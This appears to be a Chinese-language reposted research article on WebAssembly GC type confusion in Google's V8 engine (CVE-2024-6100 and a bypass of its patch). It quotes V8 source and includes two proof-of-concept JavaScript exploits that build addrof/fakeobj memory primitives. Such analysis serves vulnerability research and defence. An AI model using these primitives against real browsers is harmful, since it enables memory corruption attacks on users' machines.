介绍
WebAssembly 是一种相对低级的语言和虚拟机,比 JavaScript 等高级语言更接近真实的 CPU。最初,WASM 支持基本类型:
类型 描述
i32 32 位整数
i64 64 位整数
f32 32 位浮点
f64 64 位浮点
但是,通过 WebAssembly 垃圾收集(WASMGC)扩展,WebAssembly 现在可以支持更复杂的类型。
简而言之,垃圾收集的想法是试图回收由程序分配但不再引用的内存。
WasmGC 现在添加了结构和数组堆类型,这意味着支持非线性内存分配。每个 WasmGC 对象都有固定的类型和结构,这使得虚拟机可以轻松生成高效的代码来访问其字段,而不会像 JavaScript 等动态语言那样存在优化下降的风险。
引用类型
(type $s1 (struct)) ;; index = 0
考虑类型,s1该类型(ref null $s1)是的引用类型s1或null。
结构体类型
(type $s2 (struct (field i32) (field i64))) ;; index = 1
数组类型
(type$a1 (array i32)) ;; index = 2
递归类型
Wasm 的递归类型可以定义相互递归的类型。
(rec (type$A (struct (field $b (ref null $B)))) (type$B (struct (field $a (ref null $A)))))(type$C (struct field $f i32) (field $c (ref null $C)))
外部类型
外部类型可以引用在宿主环境中定义的类型,例如 JavaScript。
案例研究
CVE-2024-2887
https://github.com/KpwnZ/browser-pwn-collection/tree/main/v8/CVE-2024-2887
CVE-2024-6100
同递归类型
解决递归类型方程的类型构造函数可以表示为:
从左到右的替换我们称之为展开,从右到左的替换我们称之为折叠。同递归类型的值必须使用项级运算符进行引入和消除。也就是说,折叠时需要类型标注来确定值的类型,以保证唯一性。
WasmGC 支持不同模块中递归组的类型之间的类型比较。
当它解码类型部分时
voidDecodeTypeSection(){// ...for (uint32_t i = 0; ok() && i < types_count; ++i) { TRACE("DecodeType[%d] module+%dn", i, static_cast<int>(pc_ - start_));uint8_t kind = read_u8<Decoder::FullValidationTag>(pc(), "type kind");size_t initial_size = module_->types.size();if (kind == kWasmRecursiveTypeGroupCode) { module_->is_wasm_gc = true;uint32_t rec_group_offset = pc_offset(); consume_bytes(1, "rec. group definition", tracer_);if (tracer_) tracer_->NextLine();uint32_t group_size = consume_count("recursive group size", kV8MaxWasmTypes);if (tracer_) tracer_->RecGroupOffset(rec_group_offset, group_size);if (initial_size + group_size > kV8MaxWasmTypes) { errorf(pc(), "Type definition count exceeds maximum %zu", kV8MaxWasmTypes);return; }// We need to resize types before decoding the type definitions in this// group, so that the correct type size is visible to type definitions. module_->types.resize(initial_size + group_size); module_->isorecursive_canonical_type_ids.resize(initial_size + group_size);for (uint32_t j = 0; j < group_size; j++) {if (tracer_) tracer_->TypeOffset(pc_offset()); TypeDefinition type = consume_subtype_definition(initial_size + j); module_->types[initial_size + j] = type; }if (failed()) return; type_canon->AddRecursiveGroup(module_.get(), group_size); }// ... }// ...}
在AddRecursiveGroup方法中
uint32_t first_canonical_index =static_cast<uint32_t>(canonical_supertypes_.size()); canonical_supertypes_.resize(first_canonical_index + size);// [!] take some time to consider what's wrong herefor (uint32_t i = 0; i < size; i++) { CanonicalType& canonical_type = group.types[i];// Compute the canonical index of the supertype: If it is relative, we// need to add {first_canonical_index}. canonical_supertypes_[first_canonical_index + i] = canonical_type.is_relative_supertype ? canonical_type.type_def.supertype + first_canonical_index : canonical_type.type_def.supertype;module->isorecursive_canonical_type_ids[start_index + i] = first_canonical_index + i; }
classValueType {public://...staticconstexprint kLastUsedBit = 25;staticconstexprint kKindBits = 5;staticconstexprint kHeapTypeBits = 20;staticconstintptr_t kBitFieldOffset;// ...}
ValueType考虑一下我们只有 20 位的定义kHeapTypeBits,是的,这对于堆类型来说已经足够了,但对于规范类型索引来说还不够,因为没有边界检查。因此,我们可以采取一些类型混淆策略:
-
i如果我们有一个具有规范类型索引的类型(n << 20) + t,它将与具有规范类型索引的类型混淆t。
-
我们可以在内部保留堆类型和规范类型索引之间造成类型混淆。
在JSToWasmObject()
namespace wasm {MaybeHandle<Object> JSToWasmObject(Isolate* isolate, Handle<Object> value, CanonicalValueType expected,constchar** error_message) {// ...switch (expected.heap_representation_non_shared()) {case HeapType::kExtern: // ... }// ...}}
constexpr HeapType::Representation heap_representation()const{ DCHECK(is_object_reference());returnstatic_cast<HeapType::Representation>( HeapTypeField::decode(bit_field_)); }
堆类型转换仅采用堆类型的位字段。这意味着我们可以弄乱规范类型索引和内部保留的堆类型。
概念验证
以下是概念证明:
/*class TypeCanonicalizer { public: static constexpr CanonicalTypeIndex kPredefinedArrayI8Index{0}; static constexpr CanonicalTypeIndex kPredefinedArrayI16Index{1}; static constexpr uint32_t kNumberOfPredefinedTypes = 2;}*/d8.file.execute('../..//test/mjsunit/wasm/wasm-module-builder.js');const kV8MaxWasmTypes = 1000000;// recursive group// add kV8MaxWasmTypes typeslet builder = new WasmModuleBuilder();builder.startRecGroup();for (let i = 0; i < kV8MaxWasmTypes; i++) { builder.addStruct([makeField(kWasmI32, true)]);}builder.endRecGroup();let wasm = builder.instantiate();builder = new WasmModuleBuilder();builder.startRecGroup();builder.addStruct([makeField(kWasmI32, true)]);builder.addStruct([makeField(kWasmI32, true)]);builder.addStruct([makeField(kWasmI32, true)]);// kV8MaxWasmTypes + 5let pwn_struct = builder.addStruct([ makeField(kWasmI32, true), makeField(kWasmI32, true), makeField(kWasmI32, true), makeField(kWasmI32, true), makeField(kWasmI32, true), makeField(kWasmI32, true), makeField(kWasmI32, true), makeField(kWasmI32, true),]);let get_object = builder.addType(makeSig([wasmRefType(pwn_struct)], [kWasmI32]));let set_object = builder.addType(makeSig([wasmRefType(pwn_struct), kWasmI32], []));// LEB encode // https://webassembly.github.io/spec/core/binary/values.htmlbuilder.addFunction('set_object', set_object).addBody([ kExprLocalGet, 0, kExprLocalGet, 1, kGCPrefix, kExprStructSet, ...wasmSignedLeb(pwn_struct), 6,// struct.set struct_index, struct, field_index, value]).exportFunc();builder.addFunction('get_object', get_object).addBody([ kExprLocalGet, 0, kGCPrefix, kExprStructGet, ...wasmSignedLeb(pwn_struct), 6,]).exportFunc();builder.endRecGroup();const instance = builder.instantiate();let arr1 = [1.1, 1.2, 1.3, 1.4];let arr2 = [{}, 1.1, 1.2, 1.3];functionaddrof(obj) { arr2[0] = obj;return instance.exports.get_object(arr2);}functionfakeobj(addr) { instance.exports.set_object(arr2, addr);return arr2[0];}functionhex(num) {return num.toString(16);}let addrof_arr1 = addrof(arr1);let __arr1 = fakeobj(addrof_arr1);console.log(hex(addrof_arr1));console.log(__arr1);%DebugPrint(arr1);
Google 通过添加以下补丁修复了 CVE-2024-6100:
void TypeCanonicalizer::CheckMaxCanonicalIndex() const {if (canonical_supertypes_.size() > kMaxCanonicalTypes) { V8::FatalProcessOutOfMemory(nullptr, "too many canonicalized types"); }}
添加递归组时,它将检查规范类型索引。但是
staticconstexprsize_t kMaxCanonicalTypes = kSmiMaxValue;
kMaxCanonicalTypes太大,无法容纳在 20 位中。因此,我们仍然可以溢出规范类型索引,从而造成类型混淆。
当它添加新的递归组时
for (uint32_t i = 0; i < size; i++) { group.types[i] = CanonicalizeTypeDef(module, module->types[start_index + i], start_index); }
case TypeDefinition::kStruct: {const StructType* original_type = type.struct_type; StructType::Builder builder(&zone_, original_type->field_count());for (uint32_t i = 0; i < original_type->field_count(); i++) { builder.AddField(CanonicalizeValueType(module, original_type->field(i), recursive_group_start), original_type->mutability(i), original_type->field_offset(i)); } builder.set_total_fields_size(original_type->total_fields_size()); result = TypeDefinition( builder.Build(StructType::Builder::kUseProvidedOffsets), canonical_supertype, type.is_final, type.is_shared);break; }
ValueType TypeCanonicalizer::CanonicalizeValueType(const WasmModule* module, ValueType type, uint32_t recursive_group_start) const {if (!type.has_index()) returntype;returntype.ref_index() >= recursive_group_start ? ValueType::CanonicalWithRelativeIndex(type.kind(), type.ref_index() - recursive_group_start) : ValueType::FromIndex(type.kind(),module->isorecursive_canonical_type_ids[type.ref_index()]);} static constexpr ValueType CanonicalWithRelativeIndex(ValueKind kind, uint32_t index) {return ValueType(KindField::encode(kind) | HeapTypeField::encode(index) | CanonicalRelativeField::encode(true)); }
何时type.ref_index() >= recursive_group_start它将用相对索引来规范化。
我们可以通过以下方式控制这个相对指数
builder.addStruct([makeField(wasmRefType(n), true)]);
何时n >= recursive_group_start。这使得我们能够制造具有索引0x1000000 | n和的类型之间的类型混淆n。
概念验证
d8.file.execute('../..//test/mjsunit/wasm/wasm-module-builder.js');const kV8MaxWasmTypes = 1000000;// we can't fit all 0x100001 types in one recursive group{console.log("[*] create 1000000 types");let builder = new WasmModuleBuilder(); builder.startRecGroup();for (let i = 0; i < kV8MaxWasmTypes - 3; i++) { builder.addStruct([makeField(kWasmI32, true)]); } builder.endRecGroup(); builder.instantiate();}{console.log("[*] create 0x100001 types");let builder = new WasmModuleBuilder(); builder.startRecGroup();for (let i = 0; i < 0x100001 - 1000000; i++) { builder.addStruct([makeField(kWasmI32, true)]); } builder.endRecGroup(); builder.instantiate();}builder = new WasmModuleBuilder();let canonicalized_100001 = builder.addStruct([makeField(kWasmI32, true)]); // canonical index 0x100001, index 0 in rec group// groupbuilder.startRecGroup();let ref2index2 = builder.addStruct([makeField(wasmRefType(2), true)]); // heaptype index = 2 - 1 = 1, { field0(ref{externref}): 1(0x100001) }let index2 = builder.addStruct([makeField(kWasmExternRef, true)]); // index 2 in rec groupbuilder.endRecGroup();// groupbuilder.startRecGroup();let ref2canonicalized = builder.addStruct([makeField(wasmRefType(canonicalized_100001), true)]); // heaptype 0x100001, { field0: rec0_type0x100001 }let ext = builder.addStruct([makeField(kWasmExternRef, true)]);builder.endRecGroup();let fakeobj_type = builder.addType(makeSig([kWasmI32], [kWasmExternRef]));builder.addFunction('fakeobj', fakeobj_type).addBody([ kExprLocalGet, 0, // get arg0 kGCPrefix, kExprStructNew, canonicalized_100001, // create struct with type 0x100001, { field0(int32): arg0 } kGCPrefix, kExprStructNew, ref2canonicalized, // create struct with type 0 in group1, { field0(ref): { field0(int32): arg0 } } kGCPrefix, kExprStructGet, ref2index2, 0, // type confusion, get { field0(int32): arg0 } as { field0(ref{externref}): arg0 } kGCPrefix, kExprStructGet, ext, 0, // get arg0 as externref]).exportFunc();let instance = builder.instantiate();let fakeobj = instance.exports.fakeobj;console.log(fakeobj(0xc0ffee | 1));
参考
-
Seunghyun Lee (@0x10n):WebAssembly 就是你所需要的一切:使用 WASM 10 次以上利用 Chrome 和 V8 沙盒
-
Yaoda Zhou、Bruno C. d. S. Oliveira、Jinxu Zhao:重新审视 Iso-Recursive 子类型
-
ANDREAS ROSSBERG:相互同递归子类型(扩展)
原文始发于微信公众号(Ots安全):JavaScript 引擎利用中的 WebAssembly 类型混淆概述
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论